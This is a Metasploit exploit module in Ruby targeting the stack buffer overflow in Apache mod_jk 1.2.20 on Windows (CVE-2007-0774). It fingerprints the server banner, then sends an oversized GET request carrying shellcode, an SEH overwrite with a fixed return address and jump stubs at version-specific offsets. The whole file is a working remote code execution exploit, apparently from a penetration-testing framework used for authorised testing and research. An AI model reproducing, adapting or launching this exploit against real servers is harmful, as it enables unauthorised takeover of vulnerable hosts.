##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GreatRanking

  include Msf::Exploit::Remote::Tcp
  include Msf::Exploit::Remote::Seh

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Apache mod_jk 1.2.20 Buffer Overflow',
      'Description'    => %q{
          This is a stack buffer overflow exploit for mod_jk 1.2.20.
        Should work on any Win32 OS.
      },
      'Author'         => 'Nicob <nicob[at]nicob.net>',
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'CVE', '2007-0774' ],
          [ 'OSVDB', '33855' ],
          [ 'BID', '22791' ],
          [ 'ZDI', '07-008' ]
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process',
        },
      'Privileged'     => true,
      'Payload'        =>
        {
          'Space'    => 4000,
          'BadChars' => "\x00\x09\x0a\x0b\x0c\x0d\x20\x23\x25\x26\x2f\x3b\x3f\x5c",
          'DisableNops' => true
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          # POP/POP/RET in mod_jk 1.2.20 (Apache 1.3.37, 2.0.58 and 2.2.3)
          ['mod_jk 1.2.20 (Apache 1.3.x/2.0.x/2.2.x) (any win32 OS/language)', { 'Ret' => 0x6a6b8ef1 }],
        ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => 'Mar 02 2007'))

    register_options(
      [
        Opt::RPORT(80)
      ])
  end

  def check
    connect

    sock.put("GET / HTTP/1.0\r\n\r\n")
    resp = sock.get_once
    disconnect

      if (resp and (m = resp.match(/Server: Apache\/(.*) \(Win32\)(.*) mod_jk\/1\.2\.20/))) then
        vprint_status("Apache version detected : #{m[1]}")
        return Exploit::CheckCode::Appears
      else
        return Exploit::CheckCode::Safe
      end
  end

  def exploit
    connect

    uri_start  = "GET /"
    uri_end    = ".html HTTP/1.0\r\n\r\n"
    sc_base    = 16

    shellcode  = payload.encoded
    sploit     = rand_text_alphanumeric(5001)
    sploit[sc_base, shellcode.length] = shellcode

    # 4343 : Apache/1.3.37 (Win32) mod_jk/1.2.20
    # 4407 : Apache/2.0.59 (Win32) mod_jk/1.2.20
    # 4423 : Apache/2.2.3  (Win32) mod_jk/1.2.20

    [ 4343, 4407, 4423 ].each { |seh_offset|
      sploit[seh_offset - 9, 5] = "\xe9" + [sc_base - seh_offset + 4].pack('V')
      sploit[seh_offset - 4, 2] = "\xeb\xf9"
      sploit[seh_offset    , 4] = [ target.ret ].pack('V')
    }

    print_status("Trying target #{target.name}...")
    sock.put(uri_start + sploit + uri_end)

    resp = sock.get_once
    if (resp and (m = resp.match(/<title>(.*)<\/title>/i)))
      print_error("The exploit failed : HTTP Status Code '#{m[1]}' received :-(")
    end

    handler
    disconnect
  end
end
